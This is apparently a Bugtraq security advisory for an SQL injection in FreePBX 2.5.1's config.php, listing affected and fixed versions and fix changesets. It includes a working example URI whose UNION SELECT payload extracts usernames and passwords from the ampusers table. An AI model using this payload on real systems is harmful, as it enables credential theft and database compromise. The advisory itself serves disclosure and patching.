FreePBX 'config.php' SQL Injection Vulnerability

Bugtraq ID:	37847
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 18 2010 12:00AM
Updated:	Jan 18 2010 12:00AM
Credit:	Ivan Huertas of CYBSEC Labs
Vulnerable:	freePBX freePBX 2.5.1 freePBX freePBX 2.5
Not Vulnerable:	freePBX freePBX 2.5.2

FreePBX 'config.php' SQL Injection Vulnerability

FreePBX is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

FreePBX 2.5.1 is vulnerable; prior versions may also be affected.

FreePBX 'config.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/admin/config.php?display=did&didfilter=&extdisplay=12%22%20union%20select%20username,password,sections,%221%22,%222%22,%223%22,%224%22,%225%2
2,%226%22,%227%22,%228%22,%229%22,%2210%22,%2211%22,%2212%22%20from%20ampusers%20where%20%22%22=%22

FreePBX 'config.php' SQL Injection Vulnerability

References:

• Changeset 7594 (freePBX)
  
• Changeset 7640 (freePBX)
  
• freePBX Homepage (Coalescent Systems Inc.)